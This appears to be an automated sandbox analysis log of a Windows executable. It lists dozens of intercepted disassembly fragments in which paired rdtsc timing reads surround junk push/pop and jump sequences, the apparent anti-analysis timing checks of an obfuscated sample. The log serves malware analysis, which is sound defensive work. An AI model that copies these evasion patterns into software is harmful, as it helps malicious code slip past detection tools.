Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106D3DD second address: 106D3F3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCF475A73Dh 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107B9D4 second address: 107B9DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107B529 second address: 107B56B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBCF475A73Bh 0x00000009 jmp 00007FBCF475A742h 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 jc 00007FBCF475A742h 0x00000017 jns 00007FBCF475A73Ch 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107B6B0 second address: 107B6B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107B6B4 second address: 107B6B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107B6B8 second address: 107B6C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107B6C2 second address: 107B6C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107B6C6 second address: 107B6CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107B6CE second address: 107B6D5 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108887C second address: 1088882 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1088882 second address: 1088887 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1088887 second address: 1088891 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007FBCF4D53676h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1088891 second address: 1088897 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1088897 second address: 10888A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10888A1 second address: 10888A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10888A7 second address: 10888AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1092043 second address: 1092061 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007FBCF475A743h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1092061 second address: 1092065 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1092065 second address: 109208E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 jnc 00007FBCF475A73Ch 0x0000000f jmp 00007FBCF475A744h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109208E second address: 1092095 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1092095 second address: 10920AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBCF475A73Bh 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jo 00007FBCF475A736h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10920AF second address: 10920B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10920B3 second address: 10920B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1090919 second address: 1090925 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1090A6A second address: 1090A6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109119F second address: 10911C0 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007FBCF4D53687h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1091329 second address: 109133F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FBCF475A740h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1095461 second address: 109546B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FBCF4D53676h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109546B second address: 10954A4 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FBCF475A736h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b jmp 00007FBCF475A740h 0x00000010 jnp 00007FBCF475A736h 0x00000016 pop ebx 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FBCF475A743h 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109530E second address: 109531C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FBCF4D53676h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109531C second address: 1095322 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A3E65 second address: 10A3E69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A3E69 second address: 10A3E6F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA1E88 second address: FA1E9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FBCF4D53676h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jc 00007FBCF4D53676h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A3C72 second address: 10A3C87 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCF475A73Fh 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A3C87 second address: 10A3C91 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FBCF4D5367Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A3C91 second address: 10A3CCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007FBCF475A77Eh 0x0000000c pushad 0x0000000d jmp 00007FBCF475A73Fh 0x00000012 jc 00007FBCF475A736h 0x00000018 push edx 0x00000019 pop edx 0x0000001a js 00007FBCF475A736h 0x00000020 popad 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007FBCF475A73Ch 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A3CCC second address: 10A3CD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B0F72 second address: 10B0F80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FBCF475A736h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B0F80 second address: 10B0F87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B0F87 second address: 10B0FC3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCF475A73Eh 0x00000007 jmp 00007FBCF475A748h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push esi 0x00000013 pop esi 0x00000014 jmp 00007FBCF475A73Ch 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B0FC3 second address: 10B0FE6 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FBCF4D53676h 0x00000008 jl 00007FBCF4D53676h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jl 00007FBCF4D53683h 0x00000016 jmp 00007FBCF4D5367Dh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C1C30 second address: 10C1C34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C1C34 second address: 10C1C58 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCF4D5367Eh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push edx 0x0000000f pop edx 0x00000010 jmp 00007FBCF4D5367Ah 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C1C58 second address: 10C1C69 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push edx 0x00000004 pop edx 0x00000005 pushad 0x00000006 popad 0x00000007 pop edx 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d push edi 0x0000000e pop edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C0A35 second address: 10C0A51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FBCF4D53683h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C0BC6 second address: 10C0BCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C0BCA second address: 10C0BD2 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C0BD2 second address: 10C0BF4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCF475A741h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FBCF475A73Bh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C0BF4 second address: 10C0BF9 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C0D5D second address: 10C0D7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FBCF475A749h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C0D7D second address: 10C0D83 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C0D83 second address: 10C0D8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FBCF475A736h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C0D8D second address: 10C0D97 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FBCF4D53676h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C0F11 second address: 10C0F1B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C0F1B second address: 10C0F25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FBCF4D53676h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C0F25 second address: 10C0F34 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jno 00007FBCF475A736h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C10BA second address: 10C10BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C14CB second address: 10C1515 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007FBCF475A745h 0x0000000d popad 0x0000000e popad 0x0000000f pushad 0x00000010 jmp 00007FBCF475A73Bh 0x00000015 pushad 0x00000016 push ecx 0x00000017 pop ecx 0x00000018 jmp 00007FBCF475A748h 0x0000001d popad 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C17F8 second address: 10C1834 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBCF4D5367Eh 0x00000009 jmp 00007FBCF4D5367Ch 0x0000000e popad 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FBCF4D5367Bh 0x00000017 pushad 0x00000018 jmp 00007FBCF4D5367Bh 0x0000001d push edi 0x0000001e pop edi 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C1834 second address: 10C183E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007FBCF475A736h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C726B second address: 10C726F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C726F second address: 10C7286 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCF475A743h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C7286 second address: 10C728C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C728C second address: 10C7290 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C7564 second address: 10C7568 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C7568 second address: 10C756E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C756E second address: 10C7573 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C7573 second address: 10C7581 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edi 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C7581 second address: 10C7622 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edi 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push eax 0x0000000a call 00007FBCF4D53678h 0x0000000f pop eax 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 add dword ptr [esp+04h], 00000019h 0x0000001c inc eax 0x0000001d push eax 0x0000001e ret 0x0000001f pop eax 0x00000020 ret 0x00000021 mov edx, dword ptr [ebp+124497AFh] 0x00000027 jmp 00007FBCF4D53688h 0x0000002c cld 0x0000002d push 00000004h 0x0000002f sbb dh, FFFFFFE5h 0x00000032 call 00007FBCF4D53679h 0x00000037 push ecx 0x00000038 je 00007FBCF4D5367Ch 0x0000003e jp 00007FBCF4D53676h 0x00000044 pop ecx 0x00000045 push eax 0x00000046 jng 00007FBCF4D53681h 0x0000004c jmp 00007FBCF4D5367Bh 0x00000051 mov eax, dword ptr [esp+04h] 0x00000055 push edi 0x00000056 push edx 0x00000057 pushad 0x00000058 popad 0x00000059 pop edx 0x0000005a pop edi 0x0000005b mov eax, dword ptr [eax] 0x0000005d ja 00007FBCF4D5369Ah 0x00000063 push eax 0x00000064 push edx 0x00000065 jmp 00007FBCF4D53688h 0x0000006a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C7622 second address: 10C7626 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C7626 second address: 10C7640 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FBCF4D5367Eh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C7640 second address: 10C7646 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C9244 second address: 10C9248 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C9248 second address: 10C924C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C924C second address: 10C9260 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jng 00007FBCF4D53682h 0x0000000c jns 00007FBCF4D53676h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 507056C second address: 50705B7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCF475A73Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007FBCF475A743h 0x00000014 sbb si, 567Eh 0x00000019 jmp 00007FBCF475A749h 0x0000001e popfd 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50705B7 second address: 50705BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50705BC second address: 50705C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5070DB5 second address: 5070DBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5070DBA second address: 5070DC0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5070DC0 second address: 5070DC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5070DC4 second address: 5070E0F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCF475A73Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d mov esi, edi 0x0000000f pushfd 0x00000010 jmp 00007FBCF475A73Dh 0x00000015 jmp 00007FBCF475A73Bh 0x0000001a popfd 0x0000001b popad 0x0000001c xchg eax, ebp 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007FBCF475A745h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50901C4 second address: 50901CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50901CA second address: 50901CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50901CE second address: 50901D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50901D2 second address: 50901F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FBCF475A744h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50901F1 second address: 509022D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCF4D5367Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c jmp 00007FBCF4D53684h 0x00000011 movzx eax, dx 0x00000014 popad 0x00000015 push ecx 0x00000016 pushad 0x00000017 mov edi, esi 0x00000019 mov ax, A3DBh 0x0000001d popad 0x0000001e mov dword ptr [esp], ecx 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 509022D second address: 5090231 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5090231 second address: 5090237 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5090237 second address: 5090254 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCF475A742h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5090254 second address: 5090258 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5090258 second address: 509025E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 509025E second address: 50902AB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCF4D53684h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b mov edx, 6EDBAAE4h 0x00000010 movsx ebx, si 0x00000013 popad 0x00000014 xchg eax, ecx 0x00000015 pushad 0x00000016 pushfd 0x00000017 jmp 00007FBCF4D53682h 0x0000001c and ah, FFFFFF98h 0x0000001f jmp 00007FBCF4D5367Bh 0x00000024 popfd 0x00000025 push eax 0x00000026 push edx 0x00000027 mov si, 1BE5h 0x0000002b rdtsc
